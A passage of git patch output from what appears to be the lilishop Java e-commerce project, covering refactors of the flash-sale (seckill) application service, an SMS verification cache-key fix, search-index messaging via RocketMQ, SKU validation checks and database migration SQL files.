b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 45b8a105..70c224de 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -1,7 +1,6 @@ package cn.lili.modules.promotion.serviceimpl; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.*; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; @@ -64,9 +63,6 @@ public class PromotionServiceImpl implements PromotionService { @Autowired private PointsGoodsService pointsGoodsService; - @Autowired - private GoodsSkuService goodsSkuService; - /** * 获取当前进行的所有促销活动信息 @@ -176,7 +172,7 @@ public class PromotionServiceImpl implements PromotionService { SeckillSearchParams searchParams = new SeckillSearchParams(); searchParams.setSeckillId(promotionGoods.getPromotionId()); searchParams.setSkuId(promotionGoods.getSkuId()); - List seckillApplyList = seckillApplyService.getSeckillApply(searchParams); + List seckillApplyList = seckillApplyService.getSeckillApplyList(searchParams); if (seckillApplyList != null && !seckillApplyList.isEmpty()) { SeckillApply seckillApply = seckillApplyList.get(0); int nextHour = 23; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java index 56b50ca8..fdffd2a8 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillApplyServiceImpl.java @@ -27,6 +27,7 @@ import cn.lili.modules.promotion.tools.PromotionCacheKeys; import cn.lili.modules.promotion.tools.PromotionTools; import cn.lili.mybatis.util.PageUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.extern.slf4j.Slf4j; @@ -100,7 +101,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillApply(SeckillSearchParams queryParam, PageVO pageVo) { + public IPage getSeckillApplyPage(SeckillSearchParams queryParam, PageVO pageVo) { IPage seckillApplyPage = this.page(PageUtil.initPage(pageVo), queryParam.queryWrapper()); if (seckillApplyPage != null && !seckillApplyPage.getRecords().isEmpty()) { @@ -126,10 +127,32 @@ public class SeckillApplyServiceImpl extends ServiceImpl getSeckillApply(SeckillSearchParams queryParam) { + public List getSeckillApplyList(SeckillSearchParams queryParam) { return this.list(queryParam.queryWrapper()); } + /** + * 查询限时请购申请列表总数 + * + * @param queryParam 查询条件 + * @return 限时请购申请列表总数 + */ + @Override + public long getSeckillApplyCount(SeckillSearchParams queryParam) { + return this.count(queryParam.queryWrapper()); + } + + /** + * 查询限时请购申请 + * + * @param queryParam 秒杀活动申请查询参数 + * @return 限时请购申请 + */ + @Override + public SeckillApply getSeckillApply(SeckillSearchParams queryParam) { + return this.getOne(queryParam.queryWrapper(), false); + } + @Override public void addSeckillApply(String seckillId, String storeId, List seckillApplyList) { Seckill seckill = this.seckillService.getById(seckillId); @@ -187,7 +210,7 @@ public class SeckillApplyServiceImpl extends ServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); + updateWrapper.eq(SeckillApply::getSeckillId, seckillId).eq(SeckillApply::getSkuId, skuId); + updateWrapper.set(SeckillApply::getQuantity, quantity); + this.update(updateWrapper); + } + /** * 检查秒杀活动申请列表参数信息 * diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillServiceImpl.java index 88674fa8..9ea0d877 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/SeckillServiceImpl.java @@ -4,34 +4,41 @@ import cn.hutool.core.date.DatePattern; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.core.text.CharSequenceUtil; +import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; +import cn.lili.common.properties.RocketmqCustomProperties; import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; +import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.mapper.SeckillMapper; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.promotion.tools.PromotionTools; -import cn.lili.modules.search.service.EsGoodsIndexService; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.SeckillSetting; import cn.lili.modules.system.entity.enums.SettingEnum; import cn.lili.modules.system.service.SettingService; +import cn.lili.rocketmq.RocketmqSendCallbackBuilder; +import cn.lili.rocketmq.tags.GoodsTagsEnum; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.google.gson.Gson; import lombok.extern.slf4j.Slf4j; +import org.apache.rocketmq.spring.core.RocketMQTemplate; import org.springframework.beans.BeanUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; import java.util.Arrays; +import java.util.HashMap; import java.util.List; +import java.util.Map; /** * 秒杀活动业务层实现 @@ -44,11 +51,6 @@ import java.util.List; @Slf4j public class SeckillServiceImpl extends AbstractPromotionsServiceImpl implements SeckillService { - /** - * 商品索引 - */ - @Autowired - private EsGoodsIndexService goodsIndexService; /** * 设置 */ @@ -58,13 +60,27 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl().eq(SeckillApply::getSeckillId, id))); + SeckillSearchParams searchParams = new SeckillSearchParams(); + searchParams.setSeckillId(id); + seckillVO.setSeckillApplyList(this.seckillApplyService.getSeckillApplyList(searchParams)); return seckillVO; } @@ -76,7 +92,7 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl()); @@ -103,10 +119,12 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(Seckill::getId, seckillId); updateWrapper.set(Seckill::getGoodsNum, - this.seckillApplyService.count(new LambdaQueryWrapper().eq(SeckillApply::getSeckillId, seckillId))); + this.seckillApplyService.getSeckillApplyCount(searchParams)); this.update(updateWrapper); } @@ -126,7 +144,17 @@ public class SeckillServiceImpl extends AbstractPromotionsServiceImpl map = new HashMap<>(); + // es促销key + map.put("esPromotionKey", promotionKey); + // 促销类型全路径名 + map.put("promotionsType", Seckill.class.getName()); + // 促销实体 + map.put("promotions", seckill); + //更新商品促销消息 + String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_PROMOTIONS.name(); + //发送mq消息 + rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(map), RocketmqSendCallbackBuilder.commonCallback()); } } } diff --git a/framework/src/main/java/cn/lili/modules/search/utils/EsIndexUtil.java b/framework/src/main/java/cn/lili/modules/search/utils/EsIndexUtil.java index e514f011..1f65638c 100644 --- a/framework/src/main/java/cn/lili/modules/search/utils/EsIndexUtil.java +++ b/framework/src/main/java/cn/lili/modules/search/utils/EsIndexUtil.java @@ -16,8 +16,8 @@ public class EsIndexUtil { private static final String IGNORE_FIELD = "serialVersionUID,promotionMap,id,goodsId"; public static Map getUpdateIndexFieldsMap(EsGoodsIndex queryGoodsIndex, EsGoodsIndex updateGoodsIndex) { - Map queryFieldsMap = new HashMap<>(); - Map updateFieldsMap = new HashMap<>(); + Map queryFieldsMap = new HashMap<>(); + Map updateFieldsMap = new HashMap<>(); for (Map.Entry entry : ReflectUtil.getFieldMap(EsGoodsIndex.class).entrySet()) { Object queryFieldValue = ReflectUtil.getFieldValue(queryGoodsIndex, entry.getValue()); @@ -33,7 +33,7 @@ public class EsIndexUtil { return getUpdateIndexFieldsMap(queryFieldsMap, updateFieldsMap); } - public static Map getUpdateIndexFieldsMap(Map queryFieldsMap, Map updateFieldsMap) { + public static Map getUpdateIndexFieldsMap(Map queryFieldsMap, Map updateFieldsMap) { Map updateIndexMap = new HashMap<>(); updateIndexMap.put("queryFields", queryFieldsMap); diff --git a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java index 99799f78..342f138f 100644 --- a/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/store/serviceimpl/StoreDetailServiceImpl.java @@ -32,10 +32,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Objects; +import java.util.*; /** * 店铺详细业务层实现 @@ -103,8 +100,8 @@ public class StoreDetailServiceImpl extends ServiceImpl updateIndexFieldsMap = EsIndexUtil.getUpdateIndexFieldsMap( - MapUtil.builder().put("storeId", store.getId()).build(), - MapUtil.builder().put("storeName", store.getStoreName()).put("selfOperated", store.getSelfOperated()).build()); + MapUtil.builder(new HashMap()).put("storeId", store.getId()).build(), + MapUtil.builder(new HashMap()).put("storeName", store.getStoreName()).put("selfOperated", store.getSelfOperated()).build()); String destination = rocketmqCustomProperties.getGoodsTopic() + ":" + GoodsTagsEnum.UPDATE_GOODS_INDEX_FIELD.name(); //发送mq消息 rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(updateIndexFieldsMap), RocketmqSendCallbackBuilder.commonCallback()); diff --git a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java index 28e5cae1..2fac508b 100644 --- a/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java +++ b/manager-api/src/main/java/cn/lili/controller/promotion/SeckillManagerController.java @@ -81,7 +81,7 @@ public class SeckillManagerController { @ApiOperation(value = "获取秒杀活动申请列表") @GetMapping("/apply") public ResultMessage> getSeckillApply(SeckillSearchParams param, PageVO pageVo) { - IPage seckillApply = seckillApplyService.getSeckillApply(param, pageVo); + IPage seckillApply = seckillApplyService.getSeckillApplyPage(param, pageVo); return ResultUtil.data(seckillApply); } diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java index 8dbdf3f8..90f92c7f 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java @@ -47,7 +47,7 @@ public class SeckillStoreController { public ResultMessage> getSeckillApplyPage(SeckillSearchParams queryParam, PageVO pageVo) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - IPage seckillPage = seckillApplyService.getSeckillApply(queryParam, pageVo); + IPage seckillPage = seckillApplyService.getSeckillApplyPage(queryParam, pageVo); return ResultUtil.data(seckillPage); } From e8f44ef6f288c47be896085d5284cfe15df942e6 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 20 Dec 2021 09:37:34 +0800 Subject: [PATCH 077/145] =?UTF-8?q?=E7=9F=AD=E4=BF=A1=E9=AA=8C=E8=AF=81?= =?UTF-8?q?=E7=A0=81=E7=BC=93=E5=AD=98key=E6=9C=AA=E5=8C=85=E5=90=ABuuid?= =?UTF-8?q?=E9=97=AE=E9=A2=98=E5=A4=84=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/sms/impl/SmsUtilAliImplService.java | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java b/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java index 505dd9b0..19e999b9 100644 --- a/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java +++ b/framework/src/main/java/cn/lili/modules/sms/impl/SmsUtilAliImplService.java @@ -155,7 +155,7 @@ public class SmsUtilAliImplService implements SmsUtil, AliSmsUtil { try { SendSmsResponse response = client.sendSms(sendSmsRequest); } catch (Exception e) { - log.error("发送短信错误",e); + log.error("发送短信错误", e); } } @@ -191,7 +191,7 @@ public class SmsUtilAliImplService implements SmsUtil, AliSmsUtil { try { client.sendBatchSms(sendBatchSmsRequest); } catch (Exception e) { - log.error("批量发送短信错误",e); + log.error("批量发送短信错误", e); } } @@ -363,7 +363,7 @@ public class SmsUtilAliImplService implements SmsUtil, AliSmsUtil { config.endpoint = "dysmsapi.aliyuncs.com"; return new com.aliyun.dysmsapi20170525.Client(config); } catch (Exception e) { - log.error("短信初始化错误",e); + log.error("短信初始化错误", e); } return null; } @@ -377,6 +377,6 @@ public class SmsUtilAliImplService implements SmsUtil, AliSmsUtil { * @return */ static String cacheKey(VerificationEnums verificationEnums, String mobile, String uuid) { - return CachePrefix.SMS_CODE.getPrefix() + verificationEnums.name() + mobile; + return CachePrefix.SMS_CODE.getPrefix() + verificationEnums.name() + uuid + mobile; } } From 23b3e72579684948da2fee9778a9502b28cd7965 Mon Sep 17 00:00:00 2001 From: fengtianyangyang Date: Mon, 20 Dec 2021 14:56:17 +0800 Subject: [PATCH 078/145] =?UTF-8?q?'=E5=95=86=E5=93=81es=E5=88=9D=E5=A7=8B?= =?UTF-8?q?=E5=8C=96=E7=B4=A2=E5=BC=95=E9=97=AE=E9=A2=98'?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/search/serviceimpl/EsGoodsIndexServiceImpl.java | 3 +++ 1 file changed, 3 insertions(+) diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 5937d0d3..351be83a 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -291,6 +291,9 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements @Override public void initIndex(List goodsIndexList) { if (goodsIndexList == null || goodsIndexList.isEmpty()) { + //初始化标识 + cache.put(CachePrefix.INIT_INDEX_PROCESS.getPrefix(), null); + cache.put(CachePrefix.INIT_INDEX_FLAG.getPrefix(), false); return; } //索引名称拼接 From 6cd31e630c007bafef44804f6e56caf0bb670c6a Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 10:25:38 +0800 Subject: [PATCH 079/145] =?UTF-8?q?=E6=9B=B4=E6=96=B0=E5=8D=87=E7=BA=A7sql?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 38 ----------------------------------- DB/version4.2.3to4.2.4.sql | 41 +++++++++++++++++++++++++++++++++++++- 2 files changed, 40 insertions(+), 39 deletions(-) delete mode 100644 DB/li_promotions.sql diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql deleted file mode 100644 index 2e47e554..00000000 --- a/DB/li_promotions.sql +++ /dev/null @@ -1,38 +0,0 @@ - -ALTER TABLE li_coupon DROP COLUMN promotion_status; - -ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; -ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '范围关联的ID'; -ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; - -ALTER TABLE li_full_discount DROP COLUMN promotion_status; -ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; - -ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; -ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; -ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; - -ALTER TABLE li_pintuan DROP COLUMN promotion_status; -ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; - -ALTER TABLE li_points_goods DROP COLUMN promotion_status; -ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; -ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; -ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; -ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; -ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '货品名称'; - -ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; -ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; -ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; -ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; -ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; - -ALTER TABLE li_seckill DROP COLUMN promotion_status; -ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; diff --git a/DB/version4.2.3to4.2.4.sql b/DB/version4.2.3to4.2.4.sql index 78764222..3c299b6c 100644 --- a/DB/version4.2.3to4.2.4.sql +++ b/DB/version4.2.3to4.2.4.sql @@ -1,2 +1,41 @@ /** 新增已退货数量 **/ -ALTER TABLE li_order_item ADD return_goods_number int DEFAULT 0 COMMENT '退货数量 '; \ No newline at end of file +ALTER TABLE li_order_item ADD return_goods_number int DEFAULT 0 COMMENT '退货数量 '; + + +ALTER TABLE li_coupon DROP COLUMN promotion_status; + +ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; +ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '范围关联的ID'; +ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; + +ALTER TABLE li_full_discount DROP COLUMN promotion_status; +ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; + +ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; +ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; +ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; + +ALTER TABLE li_pintuan DROP COLUMN promotion_status; +ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; + +ALTER TABLE li_points_goods DROP COLUMN promotion_status; +ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; +ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; +ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; +ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '货品名称'; + +ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; +ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; +ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; +ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; +ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; + +ALTER TABLE li_seckill DROP COLUMN promotion_status; +ALTER TABLE li_seckill ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; +ALTER TABLE li_seckill ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; From 795440850b56e6d1f8a9b62c1aa9691f5920f020 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 10:27:22 +0800 Subject: [PATCH 080/145] =?UTF-8?q?=E6=9B=B4=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/{version4.2.3to4.2.4.sql => version4.2.3toMASTER.sql} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename DB/{version4.2.3to4.2.4.sql => version4.2.3toMASTER.sql} (100%) diff --git a/DB/version4.2.3to4.2.4.sql b/DB/version4.2.3toMASTER.sql similarity index 100% rename from DB/version4.2.3to4.2.4.sql rename to DB/version4.2.3toMASTER.sql From 82e773243f4216e4b4d741706a5f6d18f31a8ff2 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 10:38:02 +0800 Subject: [PATCH 081/145] =?UTF-8?q?=E5=A2=9E=E5=8A=A0readme=E6=8F=8F?= =?UTF-8?q?=E8=BF=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/DB/README.md b/DB/README.md index d65fbd1c..da94b706 100644 --- a/DB/README.md +++ b/DB/README.md @@ -1,3 +1,6 @@ ## PS:数据库位置 点击跳转 https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql 这里有与tag版本一致的sql,根据tag获取sql,如果使用master代码,则需要在lilishop项目根目录的update-sql目录中,获取对应的升级sql。 + + +使用master分支代码时,可能会无法运行,执行完初始化sql之后需要执行当前目录下'versiontXXXXtoMASTER.sql'。 \ No newline at end of file From 7572e8d56f5b66c0820b8b7fd7cf99b943fad9e4 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 11:33:55 +0800 Subject: [PATCH 082/145] =?UTF-8?q?=E8=A7=A3=E5=86=B3=E5=A6=82=E6=9E=9C?= =?UTF-8?q?=E5=95=86=E5=93=81sku=E5=8F=82=E6=95=B0=E4=B8=BA=E7=A9=BA?= =?UTF-8?q?=E7=AD=89=E5=BC=82=E5=B8=B8=E6=83=85=E5=86=B5=E5=AF=BC=E8=87=B4?= =?UTF-8?q?=E6=97=A0=E6=B3=95=E5=8F=91=E5=B8=83=E7=9A=84=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/modules/goods/entity/dos/Goods.java | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java index dc8160e5..4619b76e 100644 --- a/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java +++ b/framework/src/main/java/cn/lili/modules/goods/entity/dos/Goods.java @@ -171,20 +171,20 @@ public class Goods extends BaseEntity { //循环sku,判定sku是否有效 for (Map sku : goodsOperationDTO.getSkuList()) { //判定参数不能为空 - if (sku.get("sn") == null) { + if (!sku.containsKey("sn") || sku.get("sn") == null) { throw new ServiceException(ResultCode.GOODS_SKU_SN_ERROR); } - if (StringUtil.isEmpty(sku.get("price").toString()) || Convert.toDouble(sku.get("price")) <= 0) { + if (!sku.containsKey("price") || StringUtil.isEmpty(sku.get("price").toString()) || Convert.toDouble(sku.get("price")) <= 0) { throw new ServiceException(ResultCode.GOODS_SKU_PRICE_ERROR); } - if (StringUtil.isEmpty(sku.get("cost").toString()) || Convert.toDouble(sku.get("cost")) <= 0) { + if (!sku.containsKey("cost") || StringUtil.isEmpty(sku.get("cost").toString()) || Convert.toDouble(sku.get("cost")) <= 0) { throw new ServiceException(ResultCode.GOODS_SKU_COST_ERROR); } //虚拟商品没有重量字段 - if (sku.containsKey("weight") && (StringUtil.isEmpty(sku.get("weight").toString()) || Convert.toDouble(sku.get("weight").toString()) < 0)) { + if (!sku.containsKey("weight") || sku.containsKey("weight") && (StringUtil.isEmpty(sku.get("weight").toString()) || Convert.toDouble(sku.get("weight").toString()) < 0)) { throw new ServiceException(ResultCode.GOODS_SKU_WEIGHT_ERROR); } - if (StringUtil.isEmpty(sku.get("quantity").toString()) || Convert.toInt(sku.get("quantity").toString()) < 0) { + if (!sku.containsKey("quantity") || StringUtil.isEmpty(sku.get("quantity").toString()) || Convert.toInt(sku.get("quantity").toString()) < 0) { throw new ServiceException(ResultCode.GOODS_SKU_QUANTITY_ERROR); } From bfa960d80312dc99c22bfe9b246d267386b67286 Mon Sep 17 00:00:00 2001 From: Chopper Date: Tue, 21 Dec 2021 14:47:39 +0800 Subject: [PATCH 083/145] =?UTF-8?q?=E7=AE=A1=E7=90=86=E7=AB=AF=E5=95=86?= =?UTF-8?q?=E5=93=81=E4=B8=8A=E4=B8=8B=E6=9E=B6=E9=97=AE=E9=A2=98=E5=A4=84?= =?UTF-8?q?=E7=90=86?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/goods/service/GoodsService.java | 9 +++ .../goods/serviceimpl/GoodsServiceImpl.java | 67 +++++++++++++++++-- .../goods/GoodsManagerController.java | 2 +- 3 files changed, 70 insertions(+), 8 deletions(-) diff --git 